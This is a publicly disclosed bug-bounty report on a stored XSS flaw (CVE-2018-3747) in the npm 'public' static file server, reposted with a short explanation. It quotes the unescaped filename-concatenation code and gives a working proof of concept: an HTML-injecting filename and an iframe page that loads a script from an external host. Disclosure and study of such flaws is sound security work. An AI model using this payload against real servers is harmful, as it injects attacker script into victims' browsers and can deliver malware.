Skip to content
XSS Disclosed report Beginner CVE-2018-3747

[public] Stored XSS in filenames in directory served by public

The 'public' static file server outputs filenames into HTML without sanitisation, so a filename containing HTML markup is rendered as active content. An attacker who can create a file with a crafted name could cause JavaScript to run when a victim views the directory listing.

bl4de Follow

Originally disclosed on HackerOne

  • Triaged in 8 days
  • Fixed in 52 days
  • Disclosed after 59 days

Hi Guys,

public allows to embed HTML in file names, which (in certain conditions) might lead to execute malicious JavaScript.

I put https://www.npmjs.com/package/public in Weakness section - 'Where is the stored content accessible?*' because it does not allowed me to open report with http://localhost:8000 - so it's only a placeholder and does not contain any vulnerability!!!

Module

public

Run static file hosting server with specified public dir & port. Support a "direcotry index" like Apache httpd.

https://www.npmjs.com/package/public

version: 0.1.3

Stats 2 downloads in the last day 28 downloads in the last week 222 downloads in the last month

~2600 estimated downloads per year

Description

This vulnerability exists, because file which represents filename(s) is output in HTML without any sanitization. This allows to embed malicious code in filenames listed in directory.

JavaScript
// node_modules/public/bin/public, line 106:
        files.forEach(function(file) {
            list.push('<li><a href="', path.join(base, file),'">', file, '</a></li>');
        });

PoC - Steps To Reproduce:

  • install public
$ npm install public
  • in the directory which will be served via public, create file with following name:
"><iframe src="malware_frame.html">
  • create second file with name malware_frame.html with following content and save it in the same directory:
<html>

<head>
    <meta charset="utf8" />
    <title>Frame embeded with malware :P</title>
</head>

<body>
    <p>iframe element with malicious code</p>
    <script type="text/javascript" src="http://bl4de.tech/poc.js"></script>
</body>

</html>

Run ```public`` in directory with file with changed filename:

$ ./node_modules/public/bin/public ./ 8000
Public.js server running with "/Users/bl4de/playground/node_bugbounty_playground" on port 8000

and open http://127.0.0.1:8000 in the browser:

1.png
1.png From the original on HackerOne

Supporting Material/References:

Configuration I've used to find this vulnerability:

  • macOS HighSierra 10.13.3
  • node 8.9.3
  • npm 5.5.1
  • Chromium 66.0.3342.0

Wrap up

I hope this report will help to keep Node ecosystem more safe. If you have any questions about any details of this finding, please let me know in comment.

Thank you

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability can be used to eg. download malware via "drive-by-download" attacks. Also, as described in other modules I've reported similar vulnerabilty, an iframe with malicious JS file loaded from external resource can be executed.

The hacker selected the Cross-site Scripting (XSS) - Stored weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

URL https://www.npmjs.com/package/public

Verified Yes

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server builds the directory listing by concatenating the raw filename into an HTML anchor without escaping it.

Impact

The injected markup could be used for drive-by downloads of malware or to load and execute an external script in the victim's browser.

What the attacker needed

Attacker can create a file with a crafted name; victim visits the directory listing

How it was found

  1. Install the public package.
  2. Create a file whose name contains HTML markup in the directory to be served.
  3. Create a second HTML file in the same directory that loads an external script.
  4. Start the public server on that directory.
  5. Open the server's address in a browser to trigger the listing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A static file server lists the files in a folder as a web page. This server put each filename straight into the page without cleaning it, so a filename that looks like HTML becomes part of the page. If an attacker can choose a filename, they can make the page run their script when someone opens the folder listing.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.